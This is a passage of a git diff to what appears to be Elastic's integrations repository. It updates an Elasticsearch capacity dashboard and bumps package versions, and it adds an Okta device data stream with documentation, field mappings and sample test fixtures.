"references": [ @@ -2745,8 +2742,8 @@ "max": 96, "min": 0 }, - "name": "divide", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) / unique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2763,7 +2760,7 @@ "label": "Low Watermark", "operationType": "formula", "params": { - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2823,8 +2820,8 @@ "max": 105, "min": 0 }, - "name": "divide", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) /\r\nunique_count(elasticsearch.node.name)", + "name": "multiply", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) * 0.8) *\r\nunique_count(elasticsearch.node.name)", "type": "function" } }, @@ -2877,7 +2874,7 @@ "decimals": 0 } }, - "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "formula": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "isFormulaBroken": false }, "references": [ @@ -2936,21 +2933,21 @@ "e95f13e7-1417-419e-8f53-634184c0497aX1" ], "location": { - "max": 116, + "max": 115, "min": 1 }, "name": "subtract", - "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)", + "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)", "type": "function" }, "e95f13e7-1417-419e-8f53-634184c0497aX2" ], "location": { - "max": 158, + "max": 156, "min": 0 }, "name": "multiply", - "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)", + "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)", "type": "function" } }, @@ -3067,12 +3064,12 @@ }, "gridData": { "h": 9, - "i": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0", + "i": "c96bb24c-8262-418f-9b22-13cb28768720", "w": 21, "x": 27, "y": 37 }, - "panelIndex": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0", + "panelIndex": "c96bb24c-8262-418f-9b22-13cb28768720", "title": "Total Frozen Capacity", "type": "lens" } @@ -3088,117 +3085,118 @@ "version": 2 }, "coreMigrationVersion": "8.8.0", - "created_at": "2024-09-03T14:54:28.295Z", + "created_at": "2024-10-21T13:13:38.620Z", "created_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0", "id": "elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a", "managed": false, "references": [ { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a", + "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:indexpattern-datasource-layer-7df7d4c3-d21f-401a-8b2b-480e94ae158c", + "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:indexpattern-datasource-layer-7df7d4c3-d21f-401a-8b2b-480e94ae158c", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:901ec4c6-88eb-4149-98e9-4f9c667aaaac", + "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:901ec4c6-88eb-4149-98e9-4f9c667aaaac", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "583ea325-c28c-4a16-952c-1868d5c1aaa1:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a", + "name": "285f3b8f-29b1-4377-92ab-5277f4f9fb72:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "583ea325-c28c-4a16-952c-1868d5c1aaa1:cbc5422e-9e2a-4154-ac25-a5fd86d04a81", + "name": "285f3b8f-29b1-4377-92ab-5277f4f9fb72:cbc5422e-9e2a-4154-ac25-a5fd86d04a81", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "26bdde12-9818-4960-b087-2bc3113275b3:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513", + "name": "26634e74-25c2-4185-bd11-b7f3d5f6dd94:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "26bdde12-9818-4960-b087-2bc3113275b3:135dc2e4-99e0-4fa9-9d59-1d4133e8eba1", + "name": "26634e74-25c2-4185-bd11-b7f3d5f6dd94:135dc2e4-99e0-4fa9-9d59-1d4133e8eba1", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "df8e7d7a-eee6-43a4-b40f-570d3204858a:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513", + "name": "e206a4d2-3243-47f0-9e0b-632898d1d1a9:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "df8e7d7a-eee6-43a4-b40f-570d3204858a:8043955f-efbc-4b7a-bcfe-01537e3bb5f1", + "name": "e206a4d2-3243-47f0-9e0b-632898d1d1a9:8043955f-efbc-4b7a-bcfe-01537e3bb5f1", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7:indexpattern-datasource-layer-65c6f17a-07c7-48c5-a85f-1356fc2fa238", + "name": "137bc048-9306-40bb-a0ce-d8e282d2df56:indexpattern-datasource-layer-65c6f17a-07c7-48c5-a85f-1356fc2fa238", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7:967fd24b-6e5d-4616-9f67-da08974ed16d", + "name": "137bc048-9306-40bb-a0ce-d8e282d2df56:967fd24b-6e5d-4616-9f67-da08974ed16d", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "8752d51c-1b01-4876-8b10-055bbf61caa2:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "e9c29467-4e0f-450d-b30c-9d05db7fcaea:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "8752d51c-1b01-4876-8b10-055bbf61caa2:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "e9c29467-4e0f-450d-b30c-9d05db7fcaea:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "fbb2075f-d9fc-41f6-8dce-20f90247d08a:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "fbb2075f-d9fc-41f6-8dce-20f90247d08a:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "be551525-62bc-469a-b798-a2d9d5bc4c53:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "5244b514-3922-44c8-9348-60001c2123ac:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "be551525-62bc-469a-b798-a2d9d5bc4c53:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "5244b514-3922-44c8-9348-60001c2123ac:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", + "name": "c96bb24c-8262-418f-9b22-13cb28768720:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6", + "name": "c96bb24c-8262-418f-9b22-13cb28768720:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "controlGroup_edc5ea25-970b-4f97-8064-64ad5a3a9533:optionsListDataView", + "name": "controlGroup_a68989df-598b-4464-9c6b-55775912bbb5:optionsListDataView", "type": "index-pattern" }, { "id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9", - "name": "controlGroup_26fa3348-d349-409e-8aad-5da1da895099:optionsListDataView", + "name": "controlGroup_fef7d043-569d-4ed2-9fdf-ce87704e449f:optionsListDataView", "type": "index-pattern" } ], "type": "dashboard", - "typeMigrationVersion": "8.9.0" + "typeMigrationVersion": "8.9.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" } \ No newline at end of file diff --git a/packages/elasticsearch/manifest.yml b/packages/elasticsearch/manifest.yml index ab034988857..cedfcb4e24b 100644 --- a/packages/elasticsearch/manifest.yml +++ b/packages/elasticsearch/manifest.yml @@ -1,6 +1,6 @@ name: elasticsearch title: Elasticsearch -version: 1.17.3 +version: 1.17.4 description: Elasticsearch Integration type: integration icons: diff --git a/packages/entityanalytics_ad/changelog.yml b/packages/entityanalytics_ad/changelog.yml index e8030bcd32e..e4eb819f215 100644 --- a/packages/entityanalytics_ad/changelog.yml +++ b/packages/entityanalytics_ad/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.7.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.6.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". diff --git a/packages/entityanalytics_ad/manifest.yml b/packages/entityanalytics_ad/manifest.yml index e83d892b7aa..9825fde91c1 100644 --- a/packages/entityanalytics_ad/manifest.yml +++ b/packages/entityanalytics_ad/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.2" name: entityanalytics_ad title: Active Directory Entity Analytics -version: "0.6.0" +version: "0.7.0" description: "Collect User Identities from Active Directory Entity with Elastic Agent." type: integration categories: - security conditions: kibana: - version: "^8.16.0" + version: "^8.16.0 || ^9.0.0" elastic: subscription: "basic" screenshots: [] diff --git a/packages/entityanalytics_okta/_dev/build/docs/README.md b/packages/entityanalytics_okta/_dev/build/docs/README.md index b4c0d49589f..13b452c1799 100644 --- a/packages/entityanalytics_okta/_dev/build/docs/README.md +++ b/packages/entityanalytics_okta/_dev/build/docs/README.md @@ -1,16 +1,23 @@ # Okta Entity Analytics -This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User Entities data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases. +This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User and Device Entity data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases. ## Compatibility This module has been tested against the Core Okta API version **v1**. +## Upgrading to v2 from v1 of the integration + +In v2 of the integration the user and device data was split into separate data streams. The data ingested into your index will be the same but you may need to update device searches if you were using them. + +**NOTE**: When you upgrade from v1 you will need to reconfigure the integration and enable it due to internal changes in the package. See [Resolve conflicts](https://www.elastic.co/guide/en/fleet/current/upgrade-integration.html#resolve-conflicts) in the Fleet documentation for details. + ## Data streams -The Okta Entity Analytics integration collects one type of data: user. +The Okta Entity Analytics integration collects two types of data: user and device. **User** is used to retrieve all user logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/reference/api/users/#list-users). +**Device** is used to retrieve all device logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/#tag/Device/operation/listDevices). ## Requirements @@ -56,9 +63,9 @@ The minimum **kibana.version** required is **8.9.0**. ## Usage -The Okta provider periodically contacts the Okta API, retrieving updates for users, updates its internal cache of user metadata, and ships updated user metadata to Elasticsearch. +The Okta provider periodically contacts the Okta API, retrieving updates for users and devices, updates its internal cache of user/device metadata, and ships the updated metadata to Elasticsearch. -Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users during that event. Changes on a user can come in many forms, whether it be a change to the user’s metadata, or a user was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case. +Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users and devices in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users/devices during that event. Changes can come in many forms, whether it be a change to the user’s or device’s metadata, or a user or device was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case. ## Sample Events @@ -110,6 +117,106 @@ A user document: } ``` +A device document: + +```json +{ + "@timestamp": "2023-07-04T09:57:19.786056-05:00", + "event": { + "action": "device-discovered", + }, + "okta": { + "created": "2019-10-02T18:03:07Z", + "id": "deviceid", + "lastUpdated": "2019-10-02T18:03:07Z", + "profile": { + "diskEncryptionType": "ALL_INTERNAL_VOLUMES", + "displayName": "Example Device name 1", + "platform": "WINDOWS", + "registered": true, + "secureHardwarePresent": false, + "serialNumber": "XXDDRFCFRGF3M8MD6D", + "sid": "S-1-11-111" + }, + "resourceAlternateID": "", + "resourceDisplayName": { + "sensitive": false, + "value": "Example Device name 1" + }, + "resourceID": "deviceid", + "resourceType": "UDDevice", + "status": "ACTIVE", + "_links": { + "activate": { + "hints": { + "allow": [ + "POST" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid/lifecycle/activate" + }, + "self": { + "hints": { + "allow": [ + "GET", + "PATCH", + "PUT" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid" + }, + "users": { + "hints": { + "allow": [ + "GET" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid/users" + } + }, + "users": [ + { + "id": "userid", + "status": "RECOVERY", + "created": "2023-05-14T13:37:20Z", + "activated": "0001-01-01T00:00:00Z", + "statusChanged": "2023-05-15T01:50:30Z", + "lastLogin": "2023-05-15T01:59:20Z", + "lastUpdated": "2023-05-15T01:50:32Z", + "passwordChanged": "2023-05-15T01:50:32Z", + "type": { + "id": "typeid" + }, + "profile": { + "login": "name.surname@example.com", + "email": "name.surname@example.com", + "firstName": "name", + "lastName": "surname" + }, + "credentials": { + "password": {}, + "provider": { + "type": "OKTA", + "name": "OKTA" + } + }, + "_links": { + "self": { + "href": "https://localhost/api/v1/users/userid" + } + } + } + ] + }, + "device": { + "id": "deviceid", + }, + "labels": { + "identity_source": "okta-1" + } +} +``` + Full synchronizations will be bounded on either side by "write marker" documents. ```json @@ -127,12 +234,14 @@ Full synchronizations will be bounded on either side by "write marker" documents ## Logs reference -### User +### Device -This is the `User` dataset. +This is the `Device` dataset. -#### Example +{{fields "device"}} -{{event "user"}} +### User + +This is the `User` dataset. {{fields "user"}} diff --git a/packages/entityanalytics_okta/changelog.yml b/packages/entityanalytics_okta/changelog.yml index 4c19fa7bce3..c839f61debc 100644 --- a/packages/entityanalytics_okta/changelog.yml +++ b/packages/entityanalytics_okta/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.1.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "2.0.0" + changes: + - description: Split user and device data into their own data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/12798 - version: "1.8.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml b/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml new file mode 100644 index 00000000000..5b26bf46d15 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: entityanalytics_okta +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: entityanalytics_okta.device +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/packages/entityanalytics_okta/data_stream/device/fields/beats.yml b/packages/entityanalytics_okta/data_stream/device/fields/beats.yml new file mode 100644 index 00000000000..4084f1dc7f5 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/device/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml b/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml new file mode 100644 index 00000000000..61b1130c100 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml @@ -0,0 +1,107 @@ +- name: asset + type: group + fields: + - name: category + type: keyword + - name: costCenter + type: keyword + - name: create_date + type: date + - name: id + type: keyword + - name: last_seen + type: date + - name: last_status_change_date + type: date + - name: last_updated + type: date + - name: name + type: keyword + - name: status + type: keyword + - name: type + type: keyword + - name: vendor + type: keyword +- name: labels + type: group + fields: + - name: identity_source + type: keyword +- name: user + type: group + fields: + - name: account + type: group + fields: + - name: activated_date + type: date + - name: change_date + type: date + - name: create_date + type: date + - name: password_change_date + type: date + - name: status + type: group + fields: + - name: deprovisioned + type: boolean + - name: locked_out + type: boolean + - name: password_expired + type: boolean + - name: recovery + type: boolean + - name: suspended + type: boolean + - name: geo + type: group + fields: + - name: city_name + type: keyword + - name: country_iso_code + type: keyword + - name: name + type: keyword + - name: postal_code + type: keyword + - name: region_name + type: keyword + - name: timezone + type: keyword + - name: organization + type: group + fields: + - name: name + type: keyword + - name: profile + type: group + fields: + - name: department + type: keyword + - name: first_name + type: keyword + - name: id + type: keyword + - name: job_title + type: keyword + - name: last_name + type: keyword + - name: manager + type: keyword + - name: mobile_phone + type: keyword + - name: other_identities + type: keyword + - name: primaryPhone + type: keyword + - name: secondEmail + type: keyword + - name: status + type: keyword + - name: type + type: keyword +- name: device.serial_number + type: keyword + description: The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication. diff --git a/packages/entityanalytics_okta/data_stream/device/fields/fields.yml b/packages/entityanalytics_okta/data_stream/device/fields/fields.yml new file mode 100644 index 00000000000..61f2d0df58b --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/device/fields/fields.yml @@ -0,0 +1,56 @@ +- name: entityanalytics_okta + type: group + fields: + - name: device + type: group + fields: + - name: _embedded + type: flattened + description: embedded resources related to the device. + - name: _links + type: flattened + description: link relations for the device's current status. + - name: activated + type: date + description: timestamp when transition to ACTIVE status completed. + - name: created + type: date + description: timestamp when device was created. + - name: id + type: keyword + description: unique key for device. + - name: last_login + type: date + description: timestamp of last login. + - name: last_updated + type: date + description: timestamp when device was last updated. + - name: password_changed + type: date + description: timestamp when password last changed. + - name: profile + type: group + fields: + - name: registered + type: boolean + description: Whether the device is registered. + - name: secure_hardware_present + type: boolean + description: Whether the device is using secure hardware. + - name: "*" + type: keyword + - name: status + type: keyword + description: current status of device. + - name: status_changed + type: date + description: timestamp when status last changed. + - name: transitioning_to_status + type: keyword + description: target status of an in-progress asynchronous status transition. + - name: type + type: flattened + description: device type that determines the schema for the device's profile. + - name: users + type: flattened + description: Users associated with the device. diff --git a/packages/entityanalytics_okta/data_stream/device/manifest.yml b/packages/entityanalytics_okta/data_stream/device/manifest.yml new file mode 100644 index 00000000000..c47b5e51e87 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/device/manifest.yml @@ -0,0 +1,3 @@ +title: Collect Devices Identities logs from Okta +dataset: entityanalytics_okta.device +type: logs diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-common-config.yml b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-common-config.yml similarity index 100% rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-common-config.yml rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-common-config.yml diff --git a/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json new file mode 100644 index 00000000000..632b89e0159 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json @@ -0,0 +1,113 @@ +{ + "events": [ + { + "@timestamp": "2023-06-13T07:12:17.341Z", + "okta": { + "id": "guo4a5u7YAHhjXrMK0g4", + "status": "ACTIVE", + "created": "2019-10-02T18:03:07.000Z", + "lastUpdated": "2019-10-02T18:03:07.000Z", + "profile": { + "displayName": "Example Device name 1", + "platform": "WINDOWS", + "serialNumber": "XXDDRFCFRGF3M8MD6D", + "sid": "S-1-11-111", + "registered": true, + "secureHardwarePresent": false, + "diskEncryptionType": "ALL_INTERNAL_VOLUMES" + }, + "resourceType": "UDDevice", + "resourceDisplayName": { + "value": "Example Device name 1", + "sensitive": false + }, + "resourceAlternateId": null, + "resourceId": "guo4a5u7YAHhjXrMK0g4", + "_links": { + "activate": { + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate", + "hints": { + "allow": [ + "POST" + ] + } + }, + "self": { + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4", + "hints": { + "allow": [ + "GET", + "PATCH", + "PUT" + ] + } + }, + "users": { + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users", + "hints": { + "allow": [ + "GET" + ] + } + } + }, + "users": [ + { + "id": "00ub0oNGTSWTBKOLGLNR", + "status": "ACTIVE", + "created": "2013-06-24T16:39:18.000Z", + "activated": "2013-06-24T16:39:19.000Z", + "statusChanged": "2013-06-24T16:39:19.000Z", + "lastLogin": "2013-06-24T17:39:19.000Z", + "lastUpdated": "2013-06-27T16:35:28.000Z", + "passwordChanged": "2013-06-24T16:39:19.000Z", + "profile": { + "login": "isaac.brock@example.com", + "firstName": "Isaac", + "lastName": "Brock", + "nickName": "issac", + "displayName": "Isaac Brock", + "email": "isaac.brock@example.com", + "secondEmail": "isaac@example.org", + "profileUrl": "http://www.example.com/profile", + "preferredLanguage": "en-US", + "userType": "Employee", + "organization": "Okta", + "title": "Director", + "division": "R&D", + "department": "Engineering", + "costCenter": "10", + "employeeNumber": "187", + "mobilePhone": "+1-555-415-1337", + "primaryPhone": "+1-555-514-1337", + "streetAddress": "301 Brannan St.", + "city": "San Francisco", + "state": "CA", + "zipCode": "94107", + "countryCode": "US" + }, + "credentials": { + "provider": { + "type": "OKTA", + "name": "OKTA" + }, + "recovery_question": {} + } + } + ] + }, + "device": { + "id": "guo4a5u7YAHhjXrMK0g4" + }, + "event": { + "action": "device-modified" + }, + "input": { + "type": "entity-analytics" + }, + "ecs": { + "version": "8.0.0" + } + } + ] +} \ No newline at end of file diff --git a/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json new file mode 100644 index 00000000000..f50d680a892 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json @@ -0,0 +1,99 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-13T07:12:17.341Z", + "asset": { + "category": "entity", + "create_date": "2019-10-02T18:03:07.000Z", + "id": "guo4a5u7YAHhjXrMK0g4", + "last_updated": "2019-10-02T18:03:07.000Z", + "name": "Example Device name 1", + "status": "ACTIVE", + "type": "okta_device" + }, + "data_stream": { + "dataset": "entityanalytics_okta.device", + "namespace": "default", + "type": "logs" + }, + "device": { + "id": "guo4a5u7YAHhjXrMK0g4", + "serial_number": "XXDDRFCFRGF3M8MD6D" + }, + "ecs": { + "version": "8.11.0" + }, + "entityanalytics_okta": { + "device": { + "_links": { + "activate": { + "hints": { + "allow": [ + "POST" + ] + }, + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate" + }, + "self": { + "hints": { + "allow": [ + "GET", + "PATCH", + "PUT" + ] + }, + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4" + }, + "users": { + "hints": { + "allow": [ + "GET" + ] + }, + "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users" + } + }, + "created": "2019-10-02T18:03:07.000Z", + "id": "guo4a5u7YAHhjXrMK0g4", + "last_updated": "2019-10-02T18:03:07.000Z", + "profile": { + "disk_encryption_type": "ALL_INTERNAL_VOLUMES", + "display_name": "Example Device name 1", + "registered": true, + "secure_hardware_present": false, + "sid": "S-1-11-111" + }, + "status": "ACTIVE" + } + }, + "event": { + "category": [ + "host" + ], + "kind": "asset", + "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"event\":{\"kind\":\"asset\"},\"device\":{\"id\":\"guo4a5u7YAHhjXrMK0g4\"},\"okta\":{\"resourceAlternateId\":null,\"lastUpdated\":\"2019-10-02T18:03:07.000Z\",\"resourceDisplayName\":{\"sensitive\":false,\"value\":\"Example Device name 1\"},\"resourceId\":\"guo4a5u7YAHhjXrMK0g4\",\"_links\":{\"activate\":{\"hints\":{\"allow\":[\"POST\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate\"},\"self\":{\"hints\":{\"allow\":[\"GET\",\"PATCH\",\"PUT\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4\"},\"users\":{\"hints\":{\"allow\":[\"GET\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users\"}},\"created\":\"2019-10-02T18:03:07.000Z\",\"profile\":{\"serialNumber\":\"XXDDRFCFRGF3M8MD6D\",\"displayName\":\"Example Device name 1\",\"registered\":true,\"diskEncryptionType\":\"ALL_INTERNAL_VOLUMES\",\"secureHardwarePresent\":false,\"platform\":\"WINDOWS\",\"sid\":\"S-1-11-111\"},\"id\":\"guo4a5u7YAHhjXrMK0g4\",\"users\":[{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan 